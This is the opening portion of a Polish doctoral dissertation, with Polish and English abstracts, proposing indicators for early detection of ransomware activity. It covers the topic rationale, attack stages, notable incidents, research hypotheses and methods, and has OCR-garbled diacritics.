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Streszczenie

Oprogramowanie ransomware stanowi powazne zagrozenie bezpieczenstwa. Opisane
w pracy przyktady atakéw pokazujg, ze zagrozenie to dotyczy panstwa, organizacji/firmy jak
réwniez jednostek (pojedynczych uzytkownikéw). Statystki zwigzane zaréwno z aktywnoscia
samego oprogramowania ransomware jak rowniez zwigzane ze stratami jakie powoduja
pokazujg, ze zagrozenie jest duze oraz realne. Realne, gdyz dotyczy nas wszystkich - zadna
instytucja rzadowa, zadna firma, zaden uzytkownik indywidualny nie jest w petni bezpieczny.
Autorzy ransomware z jednej strony udoskonalajg ciggle oprogramowanie, a z drugiej strony
udoskonalajg metody infiltracji np. stosujgc wyrafinowane socjotechniki albo nieustanie
szukajgc nowych podatnosci w oprogramowaniu. Z drugiej strony, te same statystki pokazuja
bardzo pozytywny trend - coraz mniej udanych atakéw kornczy sie optaceniem okupu. Moze
to $wiadczyé o coraz wiekszej swiadomosci uzytkownikdw o zagrozeniach, jakie niesie ze soba
oprogramowanie ransomware. Swiadomosci, ktéra najprawdopodobniej sprawia, ze coraz
wieksza liczba uzytkownikéw tworzy kopie zapasowe swoich cennych danych. Kopie zapasowe
stanowig cenng bron w walce z ransomware - pozywajg odzyskaé dostep do danych, nawet
w przypadku udanego ataku kryptowirusa. Oczywiscie kopie zapasowe nie powinny by¢
jedynym zabezpieczeniem danych przed tego typu zagrozeniem. Wazne jest, aby kazdy
uzytkownik systemu komputerowego korzystat z narzedzi aktywnie chronigcych jego system.
Takimi narzedziami s3 np. programy antywirusowe. Bezwzglednie nalezy z nich korzystaé
i bezwzglednie nalezy dba¢ o mozliwie szybkg oraz sprawng ich aktualizacje (samego

oprogramowania oraz uzywanej bazy wiruséw).

Analizy oraz przewidywania badaczy bezpieczenstwa wskazujg, ze rynek ransomware
bedzie sie wdalszym ciggu rozwijat. Wynika to chociazby zfaktu bardzo wysokich
przychodéw, jakie osiggaja grupy przestepcze. Sredni czas zycia oprogramowania ransomware
zapewne w dalszym ciggu bedzie spadat. W chwili obecnej wynosi on jedynie 70 dni. Oznacza
to, ze srednio po 70 dniach od pojawienia sie dana wersja ransomware przestaje by¢ aktywna
(ataki przestajg by¢ skuteczne). Wynika to zapewne zfaktu sprawniejszego dziatania
producentdw np. oprogramowania antywirusowego jak i organdw Scigania. Niemniej jednak,
przez 70 dni nowa wersja ransomware jest aktywna i moze powodowac wiele strat. Widaé

zatem, ze aby skroci¢ znaczgco Sredni czas zycia oprogramowania ransomware, potrzebne sg



techniki oraz narzedzia, ktére beda w stanie skutecznie wykrywaé nowe wersje tego typu

oprogramowania.

W przygotowanej dysertacji naukowej przeanalizowatem wybrane préobki oprogramowania
ransomware inatej podstawie wyodrebnitem ich cechy charakterystyczne zwigzane
z wykorzystywanymi funkcjami APl systemu Windows. Dodatkowo zaproponowatem
wykorzystanie metod badania losowosci oraz kategoryzacji danych do wykrywania aktywnego
ataku oprogramowania ransomware. W wyniku przeprowadzonych prac utworzona zostata
koncepcja wskaznikow detekcji aktywnosci oprogramowania ransomware. Istotng cechga
zaproponowanych wskaznikéw jest fakt, iz powinny one wykrywa¢ nowe, nieznane
W momencie tworzenia, wersje oprogramowania ransomware. Dzieki temu, mechanizmy
bezpieczenstwa korzystajace z utworzonych wskaznikéw, powinny by¢ w stanie skrocié
znaczgco sredni czas zycia nowych wersji tego typu oprogramowania. W pracy przedstawione
zostaty dodatkowo wyniki, jakie zostaty osiggniete podczas testéw detekcji trwajgcego ataku
oprogramowania ransomware z wykorzystaniem prototypowych implementacji

zaproponowanych w pracy wskaznikéw.



Abstract

Ransomware software poses a serious security threat. The examples of attacks described
in the paper show that this threat affects states, organizations/companies, as well as
individuals (single users). Statistics related to both the activity of ransomware itself and the
losses it causes show that the threat is significant and real. It is real because it affects us all -
no government institution, no company, no individual user is entirely safe. Ransomware
authors, on one hand, constantly improve the software, and on the other hand, refine
infiltration methods, such as using sophisticated social engineering techniques or continually
searching for new vulnerabilities in software. On the other hand, the same statistics show
a very positive trend - fewer and fewer successful attacks end with ransom payment. This may
indicate an increasing awareness of users about the threats posed by ransomware software.
This awareness likely leads to more users creating backup copies of their valuable data.
Backup copies are a valuable weapon in the fight against ransomware - they allow recovering
access to data, even in the event of a successful crypto-virus attack. Of course, backups should
not be the only protection of data against such threats. It is important that every computer
system user uses tools that actively protect their system, such as antivirus programs. It is
essential to use them and ensure their prompt and efficient update (both the software itself

and the virus database used).

Security research analyses and forecasts indicate that the ransomware market will
continue to develop. This is due, among other things, to the very high revenues achieved
by criminal groups. The average lifespan of ransomware software will likely continue
to decrease. Currently, it is only 70 days. This means that, on average, aversion of
ransomware ceases to be active (attacks stop being effective) after 70 days. This is probably
due to the more efficient operation of antivirus software producers and law enforcement
agencies. Nevertheless, for 70 days, a new version of ransomware is active and can cause a lot
of damage. Thus, to significantly shorten the average lifespan of ransomware software,
techniques and tools that can effectively detect new versions of this type of software are

needed.

In the prepared scientific dissertation, | analyzed selected samples of ransomware software
and, based on this, distinguished their characteristic features related to the used Windows API

functions. Additionally, | proposed using methods of randomness examination and data



categorization to detect an active ransomware software attack. As a result of the conducted
work, a concept of indicators for detecting ransomware software activity was created. An
important feature of the proposed indicators is that they should detect new, unknown at the
time of creation, versions of ransomware software. Thus, security mechanisms using the
created indicators should be able to significantly shorten the average lifespan of new
ransomware versions. The paper also presents the results achieved during tests of detecting
ongoing ransomware software using prototype implementations of the indicators proposed

in the paper.
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| Uzasadnienie wyboru tematu badan

W dniu 5 lipca 2018 r. Sejm Rzeczpospolitej Polskiej przyjat ustawe o krajowym systemie
cyberbezpieczenstwal. W dniu 2 grudnia 2021 r. Sejm Rzeczpospolitej Polskiej przyjat ustawe
o szczegblnych  zasadach  wynagradzania 0sob  realizujgcych  zadania  z zakresu
cyberbezpieczenstwa?. Niedawno trwaty prace legislacyjne nad projektem nowelizacji ustawy
o krajowym systemie cyberbezpieczefstwa3. Wida¢ w zwigzku z tym, ze w ostatnim czasie,
cyberbezpieczenistwo i zwigzane z nim zagadnienia, staty sie istotnym elementem polskiego
porzadku prawnego. Ustawa zdnia 5lipca 2018 r. definiuje cyberbezpieczerstwo jako
»odpornos¢ systemdéw informacyjnych na dziatania naruszajgce poufnosé, integralnosé,
dostepnosc i autentycznosc przetwarzanych danych lub zwigzanych z nimi ustug oferowanych
przez te systemy”. Dodatkowo, ustawa naktada na okreslone podmioty obowigzek publikacji
informacji o zagrozeniach wystepujacych w cyberprzestrzeni oraz porad, jak sie przed tymi
zagrozeniami zabezpiecza¢. Przyktadowo, na stronach internetowych Sadu Rejonowego
w Mikotowie mozemy znalez¢ ransomware naliscie najpopularniejszych zagrozen
w cyberprzestrzeni*. Zgodnie z opublikowanymi tam informacjami, ransomware to ,atak
polegajacy na zaszyfrowaniu danych w systemie docelowym izazgdaniu okupu w zamian
za umozliwienie uzytkownikowi ponownego dostepu do danych”. W bardziej ogdlnym
znaczeniu, ransomware nalezy traktowa¢ jako rodzaj ztosliwego oprogramowania, ktore jest

wykorzystywane do przeprowadzania tego typu atakéw.

W chwili obecnej ataki z wykorzystaniem oprogramowania typu ransomware stanowig
jedno z najpowazniejszych zagrozen bezpieczenstwa dla uzytkownikdw prywatnych, firm,
organizacji, jednostek samorzadowych oraz rzgdowych. Udany atak tego typu, w wiekszosci
przypadkdéw, konczy sie trwatg utratg danych — dane zostajg zaszyfrowane. Dodatkowo, czesé
oprogramowania typu ransomware, przesyta wrazliwe dane na serwery atakujgcych (np.

klucze prywatne do portfeli kryptowalut). Znane sg przypadki atakéw, ktére doprowadzaty

! Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczenstwa,
https://isap.sejm.gov.pl/isap.nsf/download.xsp/WDU20180001560/U/D20181560L;j.pdf, (dostgp 01.2022)

2 Ustawa z dnia 2 grudnia 2021 r. o szczego6lnych zasadach wynagradzania osob realizujgcych zadania z zakresu
cyberbezpieczenstwa, http://isap.sejm.gov.pl/isap.nsf/download.xsp/WDU20210002333/T/D20212333L.pdf,
(dostep 01.2022)

* Kluczowa faza prac nad ustawg o KSC, https://www.gov.pl/web/baza-wiedzy/kluczowa-faza-prac-nad-ustawa-
o-ksc, (dostgp 01.2022)

4 Cyberbezpieczenstwo, Sad Rejonowy w Mikolowie,
https://www.mikolow.sr.gov.pl/cyberbezpieczestwo,m,m2,293 (dostep 01.2022)
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firmy do bankructwa®. Oprogramowanie typu ransomware stanowi zatem zagrozenie

bezpieczenstwa zaréwno panistwa, spoteczenstwa jak i jednostki.

W wymiarze panstwowym zagrozenie bezpieczenstwa zwigzane jest m.in. z:

Mozliwoscig czasowego paralizu funkcjonowania istotnych instytucji panstwowych
(kancelarii Prezydenta Rzeczpospolitej Polskiej, kancelarii Prezesa Rady Ministréw,
Sejmu, Senatu, ministerstw, urzedéw i agencji rzgdowych, itp.)

e Mozliwos¢ czasowej dezorganizacji funkcjonowania instytucji i mechanizmoéw
zwigzanych z bezpieczenistwem panstwa (wojsko, policja, straz pozarna, agencje
bezpieczenstwa, stuzby specjalne, itp.).

e Mozliwoscig kradziezy danych o znaczeniu panstwowym.

e Mozliwoscia trwatego uszkodzenia sktadowanych iprzetwarzanych danych

0 znaczeniu panstwowym.
W wymiarze spotecznym zagrozenie bezpieczenstwa zwigzane jest m.in. z:

e Mozliwoscig czasowego paralizu funkcjonowania instytucji waznych spotecznie (np.
urzedow, szpitali, firm, jednostek policji, jednostek strazy pozarnej, jednostek strazy
miejskiej, itp.).

e Mozliwoscig kradziezy danych zwigzanych z obywatelami (np. dane osobowe, inne
dane wrazliwe).

e Mozliwosciag trwatego uszkodzenia sktadowanych i przetwarzanych danych.

e Mozliwoscig strat wizerunkowych i finansowych.
W wymiarze jednostki zagrozenie bezpieczenstwa zwigzane jest m.in. z:

e Mozliwoscig kradziezy osobistych danych.

e Mozliwoscia straty finansowej.

e Mozliwoscig trwatego uszkodzenia prywatnych danych (np. zdjecia, filmy, dokumenty,
itp.).

e Mozliwoscig trwatego uszkodzenia danych zawodowych (utrata danych uzywanych do

wykonywania pracy zarobkowej).

5 Ransomware vicitim Travelex forced into bankruptcy, Security Magazine, 2020,
https://www.securitymagazine.com/articles/93062-ransomware-vicitim-travelex-forced-into-bankruptcy (dostep
01.2022)
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Problem atakow z wykorzystaniem oprogramowania typu ransomware jest zatem
niezwykle istotny w kontekscie szeroko rozumianego bezpieczenstwa, zardwno w wymiarze
panstwowym, spotecznym jak iindywidualnym. Jest to wiec problem globalny, ktéry moze

dotyczy¢ panstw, spoteczeristwa oraz jednostek z dowolnego obszaru swiata.

Atak z wykorzystaniem oprogramowania typu ransomware sktada sie przewaznie

z nastepujacych etapow®:

e Przeprowadzana jest kampania malware’owa (zbidr czynnosci, ktérych celem jest
dostarczenie na komputer ofiary ztosliwego oprogramowania) - infiltracja.

e Na komputerze ofiary uruchomione zostaje oprogramowanie, ktdre pobiera wersje
binarng ransomware (payload).

e Na komputerze ofiary, zazwyczaj w trybie uprzywilejowanym, uruchamiane jest
oprogramowanie ransomware.

e Oprogramowanie ransomware szyfruje okreslone rodzaje plikow (cyfrowych danych).
Czesto, oprocz samego szyfrowania, malware wykrada dane przesytajac je
bezposrednio na serwery cyberprzestepcow.

e Po zakonczeniu szyfrowania nastepuje faza zacierania $ladéw — usuwane sg np. wpisy
z logéw systemowych, wersje binarne wiruséw.

¢ Na koniec uzytkownik jest informowany o ataku oraz o sposobie zaptaty okupu.

Kampania malware’owa stanowi zbidr technik informatycznych, socjotechnik oraz innych
aktywnosci cyberprzestepcéw, ktére docelowo majg umozliwi¢ uruchomienie ztosliwego
oprogramowania na komputerze ofiary. Czesto elementem prowadzonych kampanii
malware’owch sg e-maile zawierajgce linki do stron WWW ze ztosliwym oprogramowaniem’,
e-maile zawierajgce zainfekowane zatgczniki®, zainfekowane strony WWW. Kampanie tego
typu nastawione sg gtéwnie najednostkowych uzytkownikédw iwykorzystuja czesto
zaawansowane socjotechniki (np. brak ptatnosci zafakture umieszczong w zatgczniku
wiadomosci e-mail). Uruchomione w ten sposéb ztosliwe oprogramowanie, zazwyczaj, samo

z siebie nie jest grozne. Jego zadanie jest bardzo proste — pobranie na komputer ofiary

® The 7 Stages of a Ransomware Attack, Zerto IT Resilience Platform, 2021,
https://www.zerto.com/blog/ransomware-recovery/the-7-stages-of-a-ransomware-attack (dostep 01.2022)
" Malvertising, https://en.wikipedia.org/wiki/Malvertising, (dostep 01.2022)

8 Necurs Botnet: From Sending Email With Ransomware to SPAM Pump&Dump, Anubisnetworks,
https://www.anubisnetworks.com/blog/necurs-botnet-from-sending-email-with-ransomware-to-spam-
pumpdump, (dostep 01.2022)

14



docelowego fadunku (payload), odpowiednie jego przygotowanie oraz uruchomienie.
W przypadku atakow z wykorzystaniem oprogramowania ransomware, fadunkiem jest
zazwyczaj wersja binarna wirusa. Innym przyktadem kampanii malware’owych sg kampanie
zautomatyzowane, przeprowadzane za pomoca bot’éw komputerowych®. W tym przypadku,
bot, czyli niewielki program komputerowy, przeszukuje zasoby sieci Internet i szuka w nich
urzadzen posiadajacych okreslone podatnosci. Jezeli taki zaséb (komputer, dysk NAS, router,
itp.) zostanie odnaleziony, bot prébuje wykorzysta¢ podatnosé iuruchomi¢ ztosliwe
oprogramowanie na atakowanym urzadzeniu. Jednym z przyktadéw tego typu ataku sg,
przeprowadzane w okresie grudzien 2021- styczen 2022, zmasowane kampanie
malware’owe przeciwko uzytkownikom urzadzen typu NAS firmy QNAPC. Urzadzenia te, jezeli
nie sg regularnie aktualizowane, s3 podatne nate ataki. W wyniku infekcji zaszyfrowane
zostajq dane sktadowane na urzadzeniu NAS. Odpowiada za to oprogramowanie ransomware
zrodziny Qlocker. Innym przyktadem zautomatyzowanych atakéw moga by¢ ataki
korzystajgce z tak zwanych podatnosci zero-day!!. Tego typu ataki wykonywane s3 przewaznie
na zlecenie rzaddéw, agencji rzagdowych oraz duzych organizacji przestepczych. Wynika
to z faktu, iz do ich przeprowadzenia niezbedne jest posiadanie odpowiedniej jakosci zasobdéw
zaréwno ludzkich jak i technicznych. Zasoby te s3 wykorzystywane do poszukiwan tego typu
luk bezpieczenstwa. Podatnosci typu zero-day nie s3 poczatkowo znane w domenie
publicznej. W zwigzku z tym pozwalaja na eksploracje podatnych systemoéw do czasu naprawy
btedu przez producenta oprogramowania/urzadzenia. Czasami zatem, mozliwe jest
korzystanie z tego typu podatnosci przez wiele miesiecy!> — do czasu odkrycia jej przez
badaczy bezpieczenstwa lub producenta oprogramowania/urzadzenia. Wykorzystanie
podatnosci typu zero-day moze powodowac destabilizacje pracy wielu instytucji, rzgddéw jak
i catych panstw. W zwigzku ztym tego typu narzedzia mozna czasami poréwnywaé do
konwencjonalnej broni, a ataki z ich wykorzystaniem do préby agres;ji zbrojnej. Przyktadowo,

w momencie pisania tej koncepcji trwat atak, z wykorzystaniem oprogramowania typu

® Ransomware: Cyber criminals are still exploiting these old vulnerabilities, so patch now, ZDNet, 2021
https://www.zdnet.com/article/ransomware-cyber-criminals-are-still-exploiting-years-old-vulnerabilities-to-
launch-attacks/, (dostep 01.2022)

10 QNAP NAS devices are under attack, experts warn of a new Qlocker ransomware campaign that hit devices
worldwide, Securityaffairs, 2022, https://securityaffairs.co/wordpress/126776/cyber-crime/qlocker-ransomware-
attacks-qnap-nas.html, (dostep 01.2022)

11 Zero-day (computing), Wikipedia, https://en.wikipedia.org/wiki/Zero-day_(computing), (dostep 01.2022)

12 EternalBlue, Wikipedia, https://en.wikipedia.org/wiki/EternalBlue, (dostep 01.2022)
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wipeware, na rzgdowe serwisy WWW Ukrainy3. Wipeware jest bardzo agresywng odmiang
oprogramowania typu ransomware. Jego dziatanie réwniez polega na szyfrowaniu danych.
W odrdznieniu jednak od klasycznej wersji ransomware, wipeware nie umozliwia odzyskania
danych - atakujgcy nie zadajg okupu ani nie udostepniajg danych (np. kluczy
kryptograficznych) umozliwiajgcych odzyskanie uszkodzonych plikdw. Atak z wykorzystaniem
wipeware ma zatem jeden cel — trwate zniszczenie danych drugiej strony i uniemozliwienie jej
prawidtowego dziatania. Innymi przyktadami wykorzystywania wipeware jako broni przeciwko
firmom oraz panstwom s3 np. ataki nairanskie firmy paliwowe przeprowadzone
z wykorzystaniem wirusa Wiper!#, ataki na saudyjskie firmy energetyczne przeprowadzane
w latach 2012-2016 z wykorzystaniem wirusow z rodziny Shamoon??, czy tez ataki z 2017 roku
na ukraifiskich uzytkownikéw komputeréw z wykorzystaniem wirusa zrodziny Petya?®,

zmodyfikowanego tak, aby dziafat jak wipeware.

Oprogramowanie typu ransomware, wraz z jego modyfikacjami jak np. wipeware, moze
by¢ wykorzystywane zardwno przez cyberprzestepcéw, jak réwniez rzady ipanstwa, do
prowadzenia atakdw w cyberprzestrzeni. W odréznieniu od dziatan rzaddéw i panstw, celem
cyberprzestepcow jest cheé uzyskania zysku. Dlatego tez, ich ataki z wykorzystaniem
oprogramowania ransomware, majg na celu zmuszenie uzytkownika do zaptaty okreslonej
ilosci pieniedzy — okupu. Okup stanowi Zzrodto przychodu organizacji przestepczych stojacych
za atakiem ransomware. Organizacje te, celem utrudnienia pracy jednostek zajmujgcych sie
zwalczaniem cyberprzestepczosci, zgdajg zaptaty w postaci kryptowalut — zazwyczaj
Bitcoin’6w?'’. Informacje o sposobie zaptaty okupu udostepniajg w sieci Tor*® (darknet). Takie
dziatania dodatkowo utrudniajg identyfikacje ilokalizacje cyberprzestepcéw. Po zaptacie

okupu uzytkownik powinien otrzymac¢ dane (np. klucze kryptograficzne), umozliwiajgce

13 Ukraina: Zmasowany atak hakerski na strony rzgdowe, Gazeta Prawna, 2022,
https://www.gazetaprawna.pl/wiadomosci/swiat/artykuly/8333044,ukraina-hakerzy-atak-strony-rzadowe.html,
(dostep 01.2022)

4 Wiper Malware That Hit Iran Left Possible Clues of Its Origins, Wired, 2012,
https://www.wired.com/2012/08/wiper-possible-origins/, (dostep 01.2022)

15 Compromise of Saudi Aramco and RasGas, 2012, Council on Foreign Relations, https://www.cfr.org/cyber-
operations/compromise-saudi-aramco-and-rasgas, (dostep 01.2022)

16 From Ransomware to Wipeware: How NotPetya is Changing the Threat Landscape, Druva, 2017,
https://www.druva.com/blog/ransomware-wipeware-how-notpetya-is-changing-threat-landscape/, (dostep
01.2022)

17 Bitcoin, Wikipedia, https://en.wikipedia.org/wiki/Bitcoin, (dostep 01.2022)

18 Tor (network), Wikipedia, https://en.wikipedia.org/wiki/Tor_(network), (dostep 01.2022)
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odzyskanie zaszyfrowanych plikdw. Niestety, statystki pokazujg, ze po zaptacie okupu, tylko

W 65 % przypadkéw?® udaje sie odzyskac dane.

Atak z wykorzystaniem oprogramowania ransomware stanowig zatem bardzo powazne
zagrozenie zarowno w kontekscie bezpieczenstwa jednostki, bezpieczenstwa spotecznego jak
rowniez bezpieczenstwa catych panstw. Zagrozenie to, pomimo licznych dziatann ze strony
producentéw oprogramowania antywirusowego, administratoréw sieci jak isamych
uzytkownikow, nie maleje. tatwos¢ osiggania korzysci finansowych przez cyberprzestepcow
oraz fatwos$¢ prowadzenia dziatan wojennych w cyberprzestrzeni, powoduje nieustanny
rozwdj oprogramowania typu ransomware. Tworzone sg kolejne generacje znanych wersji
tego typu oprogramowania, jak rowniez powstajg zupetnie nowe rozwigzania.
Oprogramowanie to staje sie coraz bardziej skomplikowane itrudniejsze do wykrycia
z wykorzystaniem obecnie stosowanych metod. Wczesne wykrycie jest jednym z kluczowych
aspektéw w walce z tego typu atakami. Pozwala m.in. na minimalizowanie strat (tylko czesc¢
danych zostaje zaszyfrowana), jak rdéwniez napodjecie préb odzyskania danych
wykorzystywanych w procesie szyfrowania. Przyktadowo, wczesne wykrycie ataku
z wykorzystaniem ransomware Qlocker, umozliwia jego przerwanie poprzez fizyczne
wyfaczenie urzadzenia QNap. Nastepnie, dysk twardy takiego urzadzenia mozna poddac
analizie na obecnos$¢ logdw z oprogramowania 7z, ktére zostato wykorzystane do szyfrowania
danych. W wielu przypadkach takie logi udaje sie odnalez¢, aznich udaje sie odczytac
uzywane przez ransomware hasto. Nie jest to mozliwe, gdy Qlocker przeprowadzi atak do

konca — logi zostajg wtedy usuniete.

O istocie rosnacych problemdw zwigzanych z cyberbezpieczenstwem mogg tez swiadczy¢
statystki polskiej Policji. Ataki z wykorzystaniem oprogramowania typu ransomware
traktowane sg jak sabotaz komputerowy i klasyfikowane jako przestepstwa z art. 268a k.k.
Liczba przestepstw z art. 268a k.k. w roku 2020 byta o ponad 108% wyzsza niz w roku 2018%.
Dodatkowo nalezy zatozy¢, bazujagc na doswiadczeniu autora zdobytym podczas analizy

rzeczywistych przypadkéw atakéw ransomware, ze czes¢ ofiar nie zgtasza organom Scigania

19 The State of Ransomware 2021, Sophos, 2021, https://news.sophos.com/en-us/2021/04/27/the-state-of-
ransomware-2021/, (dostep 01.2022)
20 Gazeta Policyjna Nr 2 specjalny, grudzien 2021
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zaistniatych incydentéw. Dlatego tez, rzeczywista liczba atakow na urzedy, firmy oraz

obywateli RP moze by¢ znaczaco wieksza.

W zwigzku z powyzszym, w ramach dysertacji naukowej, przedstawie autorskg koncepcje
mechanizmu  bezpieczenstwa, ktory bedzie umozliwiat wykrywanie aktywnosci
oprogramowania typu ransomware na wczesnym etapie jego dziatania. Dzieki temu, mozliwa
bedzie minimalizacja szkéd wyrzadzonych przez atak zwykorzystaniem tego typu
oprogramowania. Mechanizm ten zwigzany bedzie zfazg szyfrowania danych przez
oprogramowanie typu ransomware. Ochrona przed pozostatymi fazami ataku, w tym np.
ochrona przed fazg kampanii malware’owej, nie bedzie stanowita celéw ani zakresu

prowadzonych badan.

.1 Przedmiot i cele badan

Przedmiotem badan w planowanej rozprawie doktorskiej jest bezpieczenstwo danych
w kontekscie atakow z wykorzystaniem oprogramowania typu ransomware, przektadajgce sie
na bezpieczenstwo w ujeciu jednostki, spoteczenstwa jaki i panistwa. Badania majg charakter
teoretyczny polegajgcy na wyjasnieniu sposobu dziatania oprogramowania ransomware oraz
okresleniu skutecznych metod wykrywania jego aktywnosci (wskaznikow). Uzyskane wyniki
badan bedg miaty istotne znaczenie aplikacyjne ibedg stanowity podstawe
to przeprowadzenia prac implementacyjnych, umozlwiajgcych wytworzenie systemu
bezpieczenstwa pozwalajgcego na wykrywanie oraz neutralizacje atakéw z wykorzystaniem

oprogramowania ransomware.

Celem badan jest utworzenie autorskiej koncepcji mechanizmu, umozliwiajacego
wykrywanie atakéw z wykorzystaniem oprogramowania typu ransomware. Mechanizm ten
ma na celu zwiekszenie poziomu bezpieczenstwa panstwa, spoteczerstwa oraz jednostki.
W odrdznieniu od wielu istniejgcych rozwigzan, mechanizm ma pozwala¢ na wykrywanie
aktywnosci oprogramowania ransomware nawczesnym etapie dziatania. Dzieki temu,
mozliwe bedzie minimalizowanie ewentualnych strat, jakie w wyniku ataku poniesie ofiara.
Mechanizm korzystat bedzie ze wskaznikdw detekcyjnych, opracowanych na podstawie
przeprowadzonych analiz prébek oprogramowania ransomware. Jednym z dodatkowych
celéw opracowywanych wskaznikow bedzie wykrywanie aktywnosci nowych, wczesniej

nieznanych, wersji kryptowiruséw.
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Celem poznawczym badan jest analiza sposobu funkcjonowania oprogramowania typu

ransomware oraz analiza metod umozliwiajgcych wykrywanie jego dziatania.

.2 Problemy badawcze

1.2.1 0Ogdlny problem badawczy
Ogoélnym problemem badawczym jest odpowiedz na pytanie w jaki sposéb zwiekszyé
poziom bezpieczenstwa panstwa, spoteczenstwa oraz jednostki w kontekscie atakow

z wykorzystaniem oprogramowania typu ransomware?

1.2.2 Szczegdtowe problemy badawcze

Szczegbtowe problemy badawcze, to:

e Jakie cechy charakterystyczne posiada oprogramowanie typu ransomware?

e Jaki wptyw maja najczesciej uzywane mechanizmy bezpieczenstwa na wykrywanie
aktywnosci oprogramowania typu ransomware?

e Jaki wptyw ma oprogramowanie typu ransomware na systemy tworzenia kopii
bezpieczenstwa?

e Jak mozna wykrywac, bazujac na okreslonych wczesniej cechach charakterystycznych,
aktywnos¢ oprogramowania typu ransomware?

e Zjakich komponentow ma sie skfadaéiw jaki sposdb ma dziataé mechanizm
bezpieczenstwa umozliwiajagcy wczesne wykrywanie atakow z wykorzystaniem

oprogramowania ransomware?

|.3 Hipotezy badawcze
W zwigzku z opisanymi powyzej problemami badawczymi oraz planowanymi badaniami,

okreslona zostata gtéwna hipoteza badawcza oraz piec szczegdtowych hipotez badawczych.

I.3.1 Gtédwna hipoteza badawcza
Opracowane autorskie wskazniki wykrywania atakéw typu ransomware zwiekszg poziom

bezpieczenstwa danych w ujeciu bezpieczenstwa jednostki, spoteczeristwa oraz panstwa.

1.3.2 Szczegdtowe hipotezy badawcze

e HS1: Cechy charakterystyczne wyodrebnione na podstawie analizy wybranych prébek
oprogramowania ransomware umozliwig utworzenie zestawu wskaznikdéw

wykrywajgcych aktywnos¢ w systemie operacyjnym wirusa typu ransomware.
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HS2: Wykorzystanie funkcji LSH/LPH?! umozliwi wykrycie aktywnosci ztosliwego
oprogramowania typu ransomware.

HS3: Wykorzystanie mechanizmu pufapek typu honeypot?? umozliwi wykrycie
aktywnosci ztosliwego oprogramowania typu ransomware.

HS4: Wykorzystanie mechanizméw badania poziomu losowosci danych umozliwi

wykrycie aktywnosci ztosliwego oprogramowania typu ransomware.

|.4 Zakres badan

W zwigzku z okreslonym powyzej przedmiotem icelem badan, problemami oraz

hipotezami badawczymi, zakres prowadzonych badan obejmowat bedzie:

Geneza powstania oprogramowania ransomware.

Charakterystyke wybranych atakdéw z wykorzystaniem oprogramowania ransomware.
Wptyw ataku z wykorzystaniem oprogramowania ransomware na bezpieczenstwo
jednostki, spoteczenstwa oraz panstwa.

Wptyw czasu wykrycia aktywnosci oprogramowania ransomware na bezpieczenstwo
jednostki, spoteczenstwa oraz panstwa.

Charakterystyke sposdb dziatania oprogramowania ransomware.

Cechy charakterystyczne oprogramowania ransomware.

Mozliwos¢ wykorzystania cechy charakterystycznych oprogramowania ransomware
w mechanizmie bezpieczeristwa umozliwiajgcym wykrywanie aktywnosci wirusa.
Mozliwosé wykorzystania funkcji LPH/LSH w mechanizmie bezpieczenstwa
umozliwiajgcym wykrywanie aktywnosci oprogramowania ransomware.

Mozliwos¢ wykorzystania putapek typu honeypot w mechanizmie bezpieczenstwa
umozliwiajgcym wykrywanie aktywnosci oprogramowania ransomware.

Koncepcje autorskiego zestawu wskaznikdw detekcyjnych umozliwiajacych wykrycie

aktywnosci oprogramowania ransomware.

2! Locality-sensitive_hashing, Wikipedia, https://en.wikipedia.org/wiki/Locality-sensitive_hashing, (dostep

01.2022)

22 What is a honeypot?, Kaspersky, https://www.kaspersky.com/resource-center/threats/what-is-a-honeypot,
(dostep 01.2022)
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.5 Metody badawcze

Na potrzeby rozwigzania zdefiniowanych powyzej problemoéw badawczych oraz weryfikacji
przedstawionych hipotez, wykorzystane zostang hipotetyczno-dedukcyjne metody
badawcze?3, polegajgce na odwotywaniu sie do zachodzacych w otoczeniu faktdw,
prognozowaniu faktéw, a nastepnie ich weryfikowaniu przy stosowaniu hipotetycznych

twierdzen tylko czesciowo weryfikowalnych.

Na potrzeby badan zwigzanych zkoncepcja autorskiego zestawu wskaznikéw
wykrywajacych ataki z wykorzystaniem oprogramowania typu ransomware, wykorzystana
zostanie metoda projektowania systemoéw informatycznych, polegajgca na sprecyzowaniu
oraz teoretycznym zweryfikowaniu zatozen koncepcji przed jej rzeczywistg realizacja
(implementacjg). Metoda ta pozwala zmniejszy¢ ryzyko niepowodzenia oraz btedéw podczas

realizacji koncepcji.

|.6 Aktualny stan badan

Przeglad polskojezycznej literatury oraz artykutéw naukowych poruszajacych kwestie
mechanizmdéw bezpieczenstwa, umozliwiajacych wykrywanie aktywnosci oprogramowania
typu ransomware, pozwala stwierdzi¢, ze problematyka ta nie jest w wystarczajgcym stopniu
zbadana. Ta sytuacja moze wskazywac, ze naukowcy zajmujacy sie kwestiami bezpieczenstwa
cybernetycznego, problem ochrony przed atakami z wykorzystaniem oprogramowania typu
ransomware, zostawiajg do analizy oraz rozwigzania pracownikom firm produkujgcych
oprogramowanie antywirusowe. Podejscie takie nie jest korzystne w kontekscie ochrony
przed atakami z wykorzystaniem ransomware, poniewaz badania, koncepcje oraz analizy
naukowe, mogg stanowi¢ ciekawy, nieoczywisty oraz nowatorski sposéb rozwigzania

problemu, jakim jest szkodliwe dziatanie oprogramowania typu ransomware.

Prozno jest szukaé w polskiej literaturze oraz publikacjach naukowych opracowan w petni
oraz wyczerpujgco opisujgcych okreslone powyzej problemy oraz cele badawcze. Najczesciej
mozna znalez¢ opis przeprowadzonych atakéw z wykorzystaniem oprogramowania typu
ransomware oraz odniesienia do problematyki przy okazji opisywania zagadnien zwigzanych

z szeroko pojetym cyberbezpieczenstwem.

2 Informatyka jako samodzielna dziedzina. Metody badawcze i projektowe, Biblioteka Cyfrowa PW,
https://bcpw.bg.pw.edu.pl/Content/1702/PDF/04ati_metody.pdf, (dostgp 01.2022)
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W zwigzku z powyzszym, dysertacja naukowa, w kontekscie polskojezycznych artykutow

naukowych oraz literatury, ma unikatowy i innowacyjny charakter.
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Il Oprogramowanie ransomware

W niemniejszym rozdziale przestawione zostaty najistotniejsze, w kontekscie dalszej czesci

pracy, definicje oraz pojecia zwigzane z tematyka oprogramowania ransomware.

II.1 Podstawowe pojecia

[1.L1.1 Informacje

Informacja to przetworzona izrozumiata tre$¢ lub komunikat, ktéry zawiera konkretne
dane lub wiadomosci, majgce wartos¢ iznaczenie dla odbiorcy. Informacja wynika
zinterpretacji danych idostarcza odpowiedzi nakonkretne pytania lub pomaga
w zrozumieniu okreslonych zjawisk, sytuacji lub kontekstu. Informacja moze by¢

przekazywana w réznych formach, takich jak tekst, obrazy, dzwieki, wideo itp.
